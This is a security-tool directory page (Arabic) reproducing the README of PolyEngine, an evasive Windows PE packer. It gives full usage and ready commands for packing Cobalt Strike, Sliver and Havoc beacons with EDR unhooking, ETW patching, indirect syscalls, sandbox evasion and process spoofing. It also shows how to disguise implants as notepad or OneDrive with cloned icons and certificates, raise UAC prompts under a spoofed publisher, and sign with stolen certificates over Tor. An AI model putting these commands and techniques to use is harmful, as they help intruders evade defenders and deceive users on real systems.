Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PolyEngine — PolyEngine هو أداة تغليف (packer) لملفات PE التهربيه مصممة لتحديات CTF والتعليم الأمني لنظام ويندوز على المستوى المنخفض. تركز على تجاوز تقنيات الكشف الهيوريستيكية لـ EDR وAV من خلال طبقات متداخلة من التنفيذ في الذاكرة وتقنيات التعتيم. | Kitploit
أدوات/GitHubGitHub/longwayhomie/polyengine
توليد الحمولةالاستغلالالتهرب من IDS/IPSتحليل البرمجيات الخبيثةCTFتحليل الملفات الثنائيةالتعلم والتعليمالفريق الأحمرمكافحة الروبوتات
GitHublongwayhomie/polyengine

PolyEngine

PolyEngine هو أداة تغليف (packer) لملفات PE التهربيه مصممة لتحديات CTF والتعليم الأمني لنظام ويندوز على المستوى المنخفض. تركز على تجاوز تقنيات الكشف الهيوريستيكية لـ EDR وAV من خلال طبقات متداخلة من التنفيذ في الذاكرة وتقنيات التعتيم.

1542040منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
مشاركة
# PolyEngine — أداة تعبئة PE متعددة الأشكال 📦

**PolyEngine** هي أداة تعبئة PE من فئة البحث، مصممة لتفادي الكشف، ومخصصة لتحديات CTF وتعليم أمان Windows منخفض المستوى. تركز على تجاوز خوارزميات EDR وAV من خلال مجموعة متعددة الطبقات من تقنيات التنفيذ في الذاكرة والإخفاء.

هذا مشروع جانبي كنت أعمل عليه لبعض الوقت. استخدمت Claude Code لتنفيذ وتصحيح بعض التقنيات التي أردت تنفيذها في أداة التعبئة الخاصة بي. هناك الكثير من التعليقات على الدوال وما تفعله، حيث كانت تجربة تعلم كبيرة بالنسبة لي، وClaude يقوم بذلك بشكل لا تشوبه شائبة (أنا سيء فيه). آمل أن يساعد بعض الأشخاص في تعلم بعض التفاصيل الداخلية لـ Windows أو في تجاوز بعض برامج مكافحة الفيروسات والكشف الثابت من الحلول المتقدمة عندما تواجه مختبرات ProLabs تلك 🏯.

🔥 شكر كبير لـ [MalDevAcademy](https://maldevacademy.com/) على جميع المواد المستخدمة في إنشائها والإلهام.

🌩 شكر لـ [vx-underground](https://x.com/vxunderground) للإلهام عبر تغريدة سخيفة مع قطة سخيفة.

> **إخلاء مسؤولية:** هذه الأداة مخصصة حصريًا لاختبار الأمان المصرح به، ومسابقات CTF، والاستخدام التعليمي. يُحظر الاستخدام ضد الأنظمة دون إذن صريح. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.

---

## الاستخدام

ترتيب البناء: **Stub أولاً، ثم Builder**. إصدار Stub Release|x64 يُنتج `stub_v0.bin`..`stub_v3.bin`؛ Builder يُضمّن واحدًا في `.rsrc`.

تأكد من وجود `stub_v0.bin`..`stub_v3.bin` في دليل العمل (أو مرر `--stub`).```
Builder.exe <input> <output> [OPTIONS]

  <input>   Target PE (.exe/.dll) or raw shellcode (.bin)
            Payload type is auto-detected from the MZ header - no flag needed.
  <output>  Output executable

Loader:
  --stub <path>              Loader stub PE  [default: random ./stub_v0.bin..stub_v3.bin]
  --preset PRINT|MEDIA|NETWORK|RANDOM
                             Module stomping DLL preset  [default: PRINT]
  --overload                 Module overloading instead of stomping
                             (NtCreateSection/NtMapViewOfSection, not in PEB LDR)
  --keep-alive               ExitThread(0) instead of ExitProcess
                             (required for C2 implants that spawn their own threads)
  --unhook                   Restore original .text bytes in ntdll/kernel32/
                             kernelbase from \KnownDlls\ clean copies
                             (overwrites EDR inline hooks before any payload syscall)

Payload  (PE/DLL only, silently ignored for shellcode):
  --export <name>            DLL export to invoke after DllMain
  --arg <string>             Argument passed to the export  [max 127 chars]

Evasion  (all ON by default):
  --spoof-name <exe>         Process name for PEB spoof  [default: random from pool]
                             Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe
                                   SearchIndexer.exe taskhostw.exe spoolsv.exe
                                   wlrmdr.exe WMPDMC.exe hvix64.exe
  --exec-ctrl-name <name>    Semaphore name for exec-ctrl check  [default: wuauctl]
                             (max 31 chars)
  --sleep-fwd-ms <ms>        Sleep duration for sleep-fwd check  [default: 500]
                             Detection threshold: 90% of <ms> elapsed
  --uptime-min <minutes>     Uptime threshold for uptime check  [default: 2]
  --hammer-s <seconds>       API-hammer delay duration  [default: 3]
  --disable <token,token...>  Disable one or more features (comma-separated, repeatable)

  OPSEC tokens:
    etw         EtwEventWrite patch (ETW telemetry suppression)
    spoofing    Call-stack spoofing (SilentMoonwalk RSP pivot)
    peb         PEB path/cmdline spoof
    tls         TLS anti-debug callback (patches loader stub before embedding)

  Sandbox/debug check tokens:
    hammer      API-hammer timing delay (VirtualAlloc/Free loop)
    debugger    Debugger detection (PEB flags / NtQueryInformationProcess)
    api-emu     API emulation probe (RtlComputeCrc32 identity check)
    exec-ctrl   Execution-control semaphore (re-execution detection)
    sleep-fwd   Sleep-forwarding detection (timing)
    uptime      System uptime check
    cpu         CPU count check (< 2 logical cores)
    screen      Screen resolution check (<= 1024 px width)
    files       Recent-files count check (< 5 RecentDocs subkeys)
    all         Disable every token listed above

Identity spoofing:
  --pfx <path>               PFX certificate container to sign the output with
  --pfx-pass <password>      PFX passphrase  [omit if PFX has no password]
  --ts-url <url>             RFC 3161 timestamp URL  [default: no timestamping]
                             OPSEC: timestamping reveals build IP/time to the TSA.
                             Enable only when signing from an isolated VM, or when
                             the signature must survive cert revocation.
  --clone-meta <donor.exe>   Clone VERSIONINFO, icon, and Authenticode cert directory
                             from a donor PE (e.g. notepad.exe, OneDrive.exe).
                             Explorer "Details" tab shows donor company/product/version;
                             file icon matches donor; "Digital Signatures" tab shows
                             donor's signer (HashMismatch — defeats visual inspection only).
                             Name output to match donor OriginalFilename field.
                             When combined with --pfx: real signature overwrites cloned cert.
  --uac                      Embed a UAC elevation manifest (requireAdministrator).
                             Output PE prompts for admin privileges on launch.
                             Applied as Phase 10.5 (after packing, before signing).

Examples:
  Builder.exe implant.exe     packed.exe
  Builder.exe implant.exe     packed.exe --stub stub_v2.bin
  Builder.exe shellcode.bin   packed.exe --keep-alive
  Builder.exe beacon.dll      packed.exe --export Start --keep-alive
  Builder.exe payload.dll     packed.exe --export Execute --arg "calc.exe"
  Builder.exe implant.exe     packed.exe --preset NETWORK --disable etw,tls
  Builder.exe implant.exe     packed.exe --overload --hammer-s 5 --uptime-min 5
  Builder.exe implant.exe     packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000
  Builder.exe implant.exe     packed.exe --pfx cert.pfx --pfx-pass hunter2
  Builder.exe implant.exe     packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com
  Builder.exe implant.exe     notepad.exe --clone-meta C:\Windows\System32\notepad.exe
  Builder.exe implant.exe     notepad.exe --clone-meta notepad.exe --pfx self.pfx
  Builder.exe implant.exe     packed.exe  --uac
  Builder.exe implant.exe     notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
```
---

## أمثلة

أمثلة عملية مجمعة حسب السيناريو. كل علامة اختيارية (الإفلات مفعل بالكامل افتراضيًا)، لذا فإن أبسط استدعاء يحصل بالفعل على المكدس الكامل.

<details>
<summary><b>التعبئة الأساسية - EXE / DLL / shellcode</b></summary>

قم بتعبئة ملف EXE غير مُدار. يقوم المُنشئ باكتشاف رأس `MZ` تلقائيًا ويتوجّه عبر مسار RunPE:```
Builder.exe implant.exe packed.exe
```
احزم شيلكود خامًا مستقلًا عن الموقع (Cobalt Strike `.bin`، msfvenom `-f raw`، إلخ). لا `MZ` → استدعاء مباشر في المخزن المؤقت المُفكوك:```
Builder.exe beacon.bin packed.exe
```
احزم DLL واستدعِ `DllMain` الافتراضي فقط (بدون تصدير):```
Builder.exe payload.dll packed.exe
```
استخدم دليلاً من مسار غير افتراضي:```
Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
```
</details>

<details>
<summary><b>حمولات DLL مع الصادرات - Havoc / Sliver / منارات مخصصة</b></summary>

استدعِ تصديرًا مسمى بعد عودة `DllMain`. تُرسل معظم أدوات الاختراق C2 كـ DLL مع تصدير دخول واحد (مثل Havoc Demon: `Start`، Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
مرر وسيطة نصية إلى التصدير (الحد الأقصى 127 حرفًا). مفيد للحمولات التي تأخذ سلسلة تكوين أو عنوان URL أو أمر شل:```
Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage"
Builder.exe loader.dll packed.exe --export Run --arg "C:\\Windows\\System32\\calc.exe"
```
`--keep-alive` مطلوب لأي حمولة تقوم بإنشاء خيوط خاصة بها - بدونها يستدعي المحمل `ExitProcess` ويقتل المنارة (beacon).

</details>

<details>
<summary><b>الزرعات طويلة الأمد (منارات C2)</b></summary>

تقوم أدوات Cobalt Strike / Sliver / Havoc جميعها بإنشاء خيط منارة (beacon thread) والعودة. يجب أن ينتهي خيط المحمل (loader thread) دون إيقاف العملية:```
Builder.exe beacon.exe   packed.exe --keep-alive
Builder.exe beacon.bin   packed.exe --keep-alive
Builder.exe demon.dll    packed.exe --export Start --keep-alive
```
</details>

<details>
<summary><b>الإعدادات المسبقة لـ Module stomping - اختيار DLL مضيف</b></summary>

يتم إخفاء الدعامة لفك التشفير داخل قسم `.text` لـ DLL ويندوز غير ضار. اختر الإعداد المسبق الذي تبدو وحداته المحملة أكثر شرعية للسياق الهدف:```
Builder.exe implant.exe packed.exe --preset PRINT
Builder.exe implant.exe packed.exe --preset MEDIA
Builder.exe implant.exe packed.exe --preset NETWORK
Builder.exe implant.exe packed.exe --preset RANDOM
```
`PRINT` (الافتراضي) - `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. شائعة على معظم محطات العمل.
`NETWORK` - `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. يناسب حمولة تحتاج بالفعل لواجهات برمجة الشبكة محملة.
`RANDOM` - ثلاثة فهارس عشوائية من المجموعة الكاملة (بما في ذلك `bcrypt.dll`, الفهرس 9).

التحول من استبدال `LoadLibraryW` إلى إعادة تحميل `NtCreateSection`+`NtMapViewOfSection` (DLL لا يدخل أبدًا `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
```
</details>

<details>
<summary><b>إزالة خطافات EDR من مساحة المستخدم</b></summary>

استعادة بايتات `.text` النظيفة لـ `ntdll` و `kernel32` و `kernelbase` من `\KnownDlls\` على أي خطافات مضمنة من EDR. HellsHall يتجاوز بالفعل خطافات `Nt*` الحساسة؛ `--unhook` مطلوب فقط عندما يقوم الحمولة نفسها باستدعاء واجهات Win32 المربوطة (مثل `LoadLibrary`، `CreateProcess`):```
Builder.exe implant.exe packed.exe --unhook
Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive
```
</details>

<details>
<summary><b>انتحال PEB - تمويه العملية</b></summary>

تجاوز اسم الانتحال المختار تلقائيًا. اختر اسمًا يتناسب مع العملية الأم / سياق الإطلاق (ماكرو Office → `RuntimeBroker.exe` قد يبدو غريبًا، بينما `WmiPrvSE.exe` يندمج بشكل أفضل):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
```
اسم التزييف هو مجرد اسم ملف ASCII - يقوم Stub بإضافة `C:\Windows\System32\` في وقت التشغيل. أي شيء ليس في مجموعة العمليات الافتراضية المكونة من 9 عمليات يعمل أيضًا.

</details>

<details>
<summary><b>ضبط عتبات التهرب</b></summary>

تأخير hammer أطول ضد صناديق الرمل الصبورة التي تعمل لعشرات الثواني قبل الحكم:```
Builder.exe implant.exe packed.exe --hammer-s 10
```
عتبة زمن تشغيل أعلى - شغّل فقط إذا كان الجهاز قد تم تشغيله لمدة 30 دقيقة على الأقل (معظم بيئات الاختبار المعزولة تقوم بتشغيل جهاز افتراضي جديد لكل عينة):```
Builder.exe implant.exe packed.exe --uptime-min 30
```
الكشف الأكثر صرامة عن توجيه النوم (نوم أقصر، يصعب تقديم الوقت بسرعة دون خطأ ملحوظ):```
Builder.exe implant.exe packed.exe --sleep-fwd-ms 200
```
اسم الإشارة المخصص لفحص التحكم في التنفيذ (تجنب التعارض مع عينة أخرى تستخدم `wuauctl` الافتراضي):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync
```
كدس كل شيء من أجل ملف تعريف بجنون الارتياب:```
Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate
```
</details>

<details>
<summary><b>تعطيل الميزات لأغراض التصحيح / العمل المخبري</b></summary>

عند التكرار داخل مصحح الأخطاء، يتم تشغيل استدعاء TLS وفحوصات مصحح الأخطاء فورًا. قم بتعطيل كليهما للإرفاق بحرية:```
Builder.exe implant.exe packed.exe --disable tls,debugger
```
تجاوز جميع فحوصات وضع الحماية (مع الإبقاء على ميزات OPSEC قيد التشغيل - تصحيح ETW، تزوير PEB، تزوير مكدس الاستدعاء):```
Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files
```
نفس الشيء، أقصر:```
Builder.exe implant.exe packed.exe --disable all
```
تعطيل ميزات OPSEC محددة (على سبيل المثال، عندما لا تحتاج البيئة المستهدفة إلى تصحيح ETW، أو عندما يؤدي تزييف PEB إلى تعطيل حمولة تتنقل في PEB الخاص بها):```
Builder.exe implant.exe packed.exe --disable etw
Builder.exe implant.exe packed.exe --disable peb,spoofing
```
`--disable all` يغطي فقط فحوصات وضع الحماية/التصحيح. يجب ذكر رموز OPSEC (`etw`, `spoofing`, `peb`, `tls`) صراحةً.

</details>

<details>
<summary><b>استنساخ الهوية — VERSIONINFO، الأيقونة، شهادة Authenticode</b></summary>

انسخ الهوية التجميلية لأي ملف PE مانح إلى المخرجات المضغوطة. تعكس خصائص المستكشف للملف الثنائي المخرَج، وأيقونة شريط المهام، وعلامة تبويب التوقيعات الرقمية جميعها المانح:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"
```
ما الذي يتم استنساخه:
- **VERSIONINFO** (`RT_VERSION`) — علامة التبويب "خصائص → تفاصيل" في مستكشف الملفات: الشركة، اسم المنتج، إصدار الملف، حقوق النشر. يتم نسخ جميع معرفات اللغة الموجودة في الملف المانح.
- **الأيقونة** (`RT_GROUP_ICON` + `RT_ICON`) — مجموعة الأيقونات ذات المعرف الأدنى (التي يستخدمها مستكشف الملفات لأيقونة الصدفة). يعرض شريط المهام، و alt-tab، ومتصفح الملفات جميعها أيقونة المانح.
- **دليل شهادة Authenticode** — يتم إلحاق blob PKCS#7 الخام `WIN_CERTIFICATE` في نهاية الملف محاذاة لـ 8 بايت. تُظهر علامة التبويب "خصائص → التوقيعات الرقمية" في مستكشف الملفات الموقع المانح (مثل `Microsoft Windows`). يُرجع `Get-AuthenticodeSignature` `Status = HashMismatch` — التوقيع صحيح هيكليًا ولكن التجزئة تغطي بايتات المانح، وليس بايتاتنا. يخدع الفحص البصري العادي؛ أي مدقق حقيقي (`signtool verify`, `WinVerifyTrust`, محركات مكافحة الفيروسات) يكتشف عدم التطابق.

**OPSEC — OriginalFilename:** يقوم VERSIONINFO للمانح بتضمين `OriginalFilename` (مثل `notepad.exe`). تضع بعض أدوات فحص التوقيعات وخوارزميات Defender علامة على عدم التطابق بين `OriginalFilename` واسم الملف الفعلي على القرص. قم بتسمية المخرجات لتتوافق:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe
```
**الدمج مع `--pfx`:** عند وجود كلا العلمين، يتم تشغيل المرحلة 11 (الاستنساخ) قبل المرحلة 12 (التوقيع). يقوم التوقيع الحقيقي بالكتابة فوق دليل الشهادة المستنسخة؛ يتم الاحتفاظ بـ VERSIONINFO والأيقونة. يُظهر `Get-AuthenticodeSignature` شهادتك على أنها صالحة، وليست شهادة المتبرع غير المتطابقة في التجزئة:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**التحقق:**```powershell
# Fake cert clone (no --pfx): expect HashMismatch, donor signer
Get-AuthenticodeSignature .\notepad.exe | Format-List *

# Real signature (--pfx): expect Valid, your cert
Get-AuthenticodeSignature .\notepad.exe | Format-List *

# signtool independent check
signtool verify /pa /v notepad.exe
```
</details>

<details>
<summary><b>رفع امتياز UAC — بيان requireAdministrator</b></summary>

قم بتضمين بيان `requestedExecutionLevel="requireAdministrator"` بحيث يؤدي PE الناتج إلى ظهور موجه UAC عند التشغيل ويتلقى رمزًا عالي التكامل إذا وافق المستخدم:```
Builder.exe implant.exe packed.exe --uac
```
البيان هو مورد `RT_MANIFEST` (معرف المورد 1 — `CREATEPROCESS_MANIFEST_RESOURCE_ID`)، نفس الفتحة التي يفحصها محمل ويندوز لبيانات توافق التطبيق وبيانات الامتيازات. والمخرجات مماثلة تمامًا لبناء بدون `--uac`؛ لا تغييرات على Stub أو مسار الحمولة.

**الدمج مع `--clone-meta` و `--pfx`:** تعمل المرحلة 10.5 (البيان) قبل المرحلة 11 (الاستنساخ) والمرحلة 12 (التوقيع). تغطي توقيع Authenticode المحسوب في المرحلة 12 جميع الموارد المضمنة بما في ذلك البيان — تكون تجزئة التجزئة صالحة على الملف الثنائي النهائي. يعرض مربع حوار UAC اسم الناشر من شهادة التوقيع:```
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**OPSEC:** طلب موافقة المستخدم (UAC) هو حدث مرئي يواجه المستخدم. يعرض مربع الحوار "هل تريد السماح لهذا التطبيق بإجراء تغييرات على جهازك؟" اسم الملف الموجود على القرص والناشر Authenticode (أو "ناشر غير معروف" إذا لم يكن موقّعًا). اجمع `--uac` مع `--clone-meta` لإظهار رمز مألوف و`--pfx` لإظهار ناشر موثوق. بالنسبة للتنفيذ غير المراقب الذي يبدأ بالفعل من عملية مرتفعة (مثل خدمة، حركة جانبية WMI، قشرة مسؤول محلي)، فإن `--uac` غير ضروري.

</details>

<details>
<summary><b>توقيع Authenticode (PFX، بدون signtool)</b></summary>

قم بتوقيع الإخراج المعبأ بشهادة PFX. يتحدث المنشئ مباشرة إلى `mssign32!SignerSignEx2` — لا حاجة لـ `signtool.exe` على محطة عمل المشغل، ولا حاجة لأداة توقيع Windows SDK:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
```
PFX بدون كلمة مرور (احذف العلم `--pfx-pass` بالكامل):```
Builder.exe implant.exe packed.exe --pfx cert.pfx
```
أضف طابعًا زمنيًا وفقًا لمعيار RFC 3161 بحيث يظل التوقيع صالحًا بعد انتهاء صلاحية الشهادة أو إبطالها. لاحظ أن سلطة الطابع الزمني تسجل عنوان IP للبناء ولحظة التوقيع الدقيقة — راجع ملاحظة OPSEC أدناه:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1
```
**OPSEC — متى تتجاوز الطابع الزمني:** `--ts-url` هو اختياري. كل طلب إلى TSA عام يضع مضيف البناء الخاص بالمشغل في سجلات HTTP الخاصة بـ TSA مع الثانية المحددة التي تم فيها إنشاء التوقيع — وهو ارتباط جنائي قوي إذا ظهرت العينة لاحقًا في الاستجابة للحوادث. كما أن تضمين الطابع الزمني يطبع نفس تلك اللحظة في كتلة التوقيع داخل PE المضغوط، حيث يمكن لأي محلل لاحق قراءتها. عندما لا يكون الطابع الزمني مطلوبًا (عادةً للشهادات الموقعة ذاتيًا أو العمليات قصيرة الأجل حيث لا تهم صلاحية التوقيع بعد انتهاء صلاحية الشهادة)، تجاهل العلامة ويظل التوقيع قابلًا للعزل الجوي بالكامل.

**OPSEC — متى تحتفظ بالطابع الزمني:** الشهادات المسروقة أو قصيرة الأجل لتوقيع الكود التي سيتم إبطالها تستفيد من توقيع مضاد من TSA — يقبل Windows التوقيع بعد الإبطال طالما أن الطابع الزمني يسبق إدخال الإبطال. في هذه الحالة، قم بالتوقيع من VM معزولة عبر وكيل / Tor، وتعامل مع سجلات TSA على أنها تعرض متعمد (ولكن محصور).

المفتاح الخاص لا يتم حفظه مطلقًا: يتم استدعاء `PFXImportCertStore` مع `PKCS12_NO_PERSIST_KEY`، لذلك لا يظهر أي حاوية مفاتيح ضمن `%APPDATA%\Microsoft\Crypto`. ملخص SHA-256، KSP المفضل CNG للتوافق مع PFXs المنتجة بواسطة `New-SelfSignedCertificate` و OpenSSL ≥3.x.

</details>

<details>
<summary><b>مجموعات واقعية</b></summary>

Cobalt Strike beacon DLL، مضيف ذو طابع شبكي، إخفاء كامل، اسم موتكس مخصص:```
Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate
```
Havoc Demon shellcode، overloading بدلاً من stomping، تأخير hammer أطول:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6
```
Stage-2 EXE لـ CTF حيث تتحكم في المشغل ولا تحتاج إلى anti-debug:```
Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger
```
ملف DLL مساعد للحركة الجانبية مع وسيط مسار:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook
```
زرع طويل الأمد متنكر كملف ثنائي شائع من مايكروسوفت، كومة تهرب كاملة:```
Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10
```
عينة مضغوطة مع شهادة موقعة ذاتيًا حقيقية + هوية VERSIONINFO مطابقة:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test
```
</details>

---

## بناء

**Visual Studio 2022 (MSVC v143)، Release|x64 فقط.** افتح `PolyEngine.sln`.

ترتيب البناء مهم:
1. مشروع **Stub** (Release|x64) ← MSBuild fan-out يصدر `x64/Release/stub_v0.bin` … `stub_v3.bin` (`POLY_VARIANT=0..3`)
2. مشروع **Builder** ← ينتج `Builder/x64/Release/Builder.exe` (أو OutDir الحل)

كل `stub_v*.bin` هو PE مع نقطة دخول الرابط `EntryPoint` فقط (بدون CRT). تختلف المتغيرات في ترتيب مرحلة OPSEC وتخطيط التضليل/الجزيرة؛ HellsHall/Moonwalk تبقى مشتركة. يختار Builder واحدًا عشوائيًا من دليل العمل الحالي (أو عبر `--stub`)، ويشغل StubMorph، ثم يدمج الحمولة تحت معرف RT_RCDATA خاص بكل بناء.

MASM: `Stub.vcxproj` ← `HellsHall.asm`; Builder ← `Engine/DecryptorStub.asm`. لا CMake، ولا Makefile.

**لإضافة تجزئة API جديدة:** احسب `Djb2HashA("ApiName")` (نفس الخوارزمية كما في `ApiHashing.cpp`)، أضف متغير عام `g_Hash_*` في `ApiHashing.h`، وقم بتهيئته في `ApiHashing_InitHashes()`.

---

## نظرة عامة على البنية

ثلاثة مكونات تنفذ خط أنابيب **حزم ← تشفير ← حقن**: **Builder** يحزم PE/شيلكود المدخل، **Engine** (مكتبة مشتركة) يوفر أساسيات التشفير/الضغط/التحوير، **Stub** هو المنفذ في وقت التشغيل المضمن في PE الناتج.

<details>
<summary>تفاصيل خط الأنابيب + تدفق تنفيذ Stub</summary>```
Builder.exe
  ├── picks loader stub (random stub_v0..v3.bin, or --stub <path>)
  ├── reads target PE or raw shellcode (.bin)
  ├── LZNT1 compress
  ├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key)
  ├── MutationEngine → unique polymorphic ASM decryptor per build
  ├── CryptGenRandom → per-build XTEA key salt + DLL preset indices
  ├── XTEA-CTR encrypt (outer layer)
  ├── BuildInfectedPE:
  │     ├── patch TLS guard marker (--disable tls)
  │     ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID
  │     ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize
  │     ├── write stub → output PE
  │     └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata]
  ├── (optional) UAC manifest / clone-meta / Authenticode sign
  └── Output.exe

Output.exe (= stub_v* variant + StubMorph + .rsrc payload)
  ├── Loader_InitApis          — ApiHashing_InitHashes + resolve kernel32 APIs
  ├── Loader_LoadPayload       — GetPayloadFromResource (280-byte metadata / opsecFlags)
  ├── Loader_Evasion           — HammerDelay + RunChecks (Win32 only, before syscalls)
  ├── Loader_InitSyscalls      — FreshyCalls SSN sort + InitNtApi (HellsHall bind)
  ├── Loader_OpsecPhase        — order depends on POLY_VARIANT (0..3):
  │     Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb
  │     (HellsHall.asm + g_Spoof* layout identical in every variant)
  ├── Loader_DecryptExec       — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload);
  │                               LZNT1 decompress; restore stomped .text
  └── Loader_RunPayload        — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode);
                                  keep-alive: ExitThread (PE) or Sleep park (raw SC)
```
</details>

---

## تقنيات التهرب

<details>
<summary><b>متغيرات المحمل — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>

إصدار Stub | إصدارات x64 تبني **أربعة** محملات عبر MSBuild (`POLY_VARIANT=0..3`, `IntDir` منفصلة). كل ثنائي له ترتيب مراحل OPSEC مختلف وأحجام خداع/جزر لكل متغير (`PolyIslands.c`)، لذا تتباعد التجزئات الثابتة. المشتركة و**أبدًا** المفرّعة لكل متغير: `HellsHall.asm`، تخطيط بيانات SilentMoonwalk (`g_SpoofSyntheticStack`)، علامات TLS/ResID.

| المتغير | ترتيب `Loader_OpsecPhase` |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |

المنشئ بدون `--stub` يختار عشوائيًا من بين `stub_v0.bin`..`stub_v3.bin` في دليل العمل الحالي (`CryptGenRandom`). `--stub <path>` يفرض ملفًا واحدًا.

</details>

<details>
<summary><b>StubMorph أثناء التجميع</b></summary>

بعد تطبيق علامات TLS/ResID وقبل كتابة PE الناتج، يقوم `StubMorph_Apply` (`Engine/StubMorph.c`) بتحوير صورة المحمل المختارة في مكانها:

- `TimeDateStamp` معقول مسحوب من **[الآن−5 سنوات، الآن]** — كلمة DWORD عشوائية بالكامل قد تقع في المستقبل، وهو علامة استدلالية
- أسماء أقسام نمط سلسلة الأدوات (نمط MSVC / MinGW / Delphi / NSIS، يُختار لكل بناء؛ يتخطى `.rsrc`، `.reloc`، `.tls`، `.CRT`) — أسماء عشوائية مكونة من 8 أحرف قد تثير استدلالات برامج التغليف من نمط UPX
- مسح `IMAGE_DIRECTORY_ENTRY_DEBUG` + مجموع اختباري PE (يُعاد حسابه لاحقًا إذا `--pfx`)
- إعادة كتابة حشوات جزيرة POLY (`50 4C 59 A0` … علامات `AF` في `PolyIslands.c`، بما في ذلك جزيرة `g_PolyDecoy`) ببايتات عشوائية من **نفس الطول**، ثم عشوائية علامات الوسوم نفسها — لا يبقى نمط `PLY` أو محتوى خادع ثابت في PE الناتج؛ لا نمو لـ PE، لا إصلاحات موقع نسبي

لا يلمس HellsHall، أو المتغيرات العالمية المخادعة، أو علامات الوسوم المستخدمة في تصحيح TLS/ResID.

</details>

<details>
<summary><b>استدعاءات النظام غير المباشرة — HellsHall</b></summary>

جميع عمليات NT الحساسة (`NtProtectVirtualMemory`، `NtAllocateVirtualMemory`، إلخ.) تمر عبر استدعاءات نظام غير مباشرة بدلاً من مثبتات وضع المستخدم المعلقة في ntdll للعملية:

1. عند بدء التشغيل، يقوم `Syscalls_Init()` بتحليل دليل التصدير في ntdll للعملية وجمع كل RVA لدالة `Zw*` في جدول مسطح.
2. تُشتق أرقام SSN بواسطة **ترتيب RVA** (متغير HellsGate/FreshyCalls): يتم ترتيب جميع RVAs لـ `Zw*`؛ الفهرس المرتب == SSN. مقاوم للعلامات بالتصميم — يعمل حتى لو أعادت العلامات في EDR كتابة مقدمات الدوال، لأن العلامات لا تعيد ترتيب التصديرات.
```

---

[Read more](https://github.com/longwayhomie/polyengine)
تنزيل الأداة